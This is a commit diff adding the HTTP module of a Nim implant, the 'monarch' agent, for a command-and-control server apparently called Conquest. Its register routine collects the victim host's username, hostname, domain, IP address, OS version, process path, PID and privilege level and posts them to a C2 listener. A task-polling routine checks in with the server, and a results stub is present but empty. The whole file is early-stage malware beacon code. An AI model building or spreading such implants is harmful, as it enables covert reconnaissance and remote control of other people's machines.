Added monarch agent
This commit is contained in:
54
agents/monarch/http.nim
Normal file
54
agents/monarch/http.nim
Normal file
@@ -0,0 +1,54 @@
|
||||
import httpclient, json, strformat, asyncdispatch
|
||||
|
||||
import ./[types, agentinfo]
|
||||
|
||||
proc register*(listener: string): string =
|
||||
|
||||
let client = newAsyncHttpClient()
|
||||
|
||||
# Define headers
|
||||
client.headers = newHttpHeaders({ "Content-Type": "application/json" })
|
||||
|
||||
# Create registration payload
|
||||
let body = %*{
|
||||
"username": getUsername(),
|
||||
"hostname":getHostname(),
|
||||
"domain": getDomain(),
|
||||
"ip": getIPv4Address(),
|
||||
"os": getOSVersion(),
|
||||
"process": getProcessExe(),
|
||||
"pid": getProcessId(),
|
||||
"elevated": isElevated()
|
||||
}
|
||||
|
||||
echo $body
|
||||
|
||||
try:
|
||||
# Register agent to the Conquest server
|
||||
let responseBody = waitFor client.postContent(fmt"http://localhost:5555/{listener}/register", $body)
|
||||
return responseBody
|
||||
except HttpRequestError as err:
|
||||
echo "Registration failed"
|
||||
quit(0)
|
||||
finally:
|
||||
client.close()
|
||||
|
||||
proc getTasks*(listener: string, agent: string): seq[Task] =
|
||||
|
||||
let client = newAsyncHttpClient()
|
||||
|
||||
try:
|
||||
# Register agent to the Conquest server
|
||||
let responseBody = waitFor client.getContent(fmt"http://localhost:5555/{listener}/{agent}/tasks")
|
||||
echo responseBody
|
||||
|
||||
except HttpRequestError as err:
|
||||
echo "Not found"
|
||||
quit(0)
|
||||
finally:
|
||||
client.close()
|
||||
|
||||
return @[]
|
||||
|
||||
proc postResults*(listener: string, agent: string, results: string) =
|
||||
discard
|
||||
Reference in New Issue
Block a user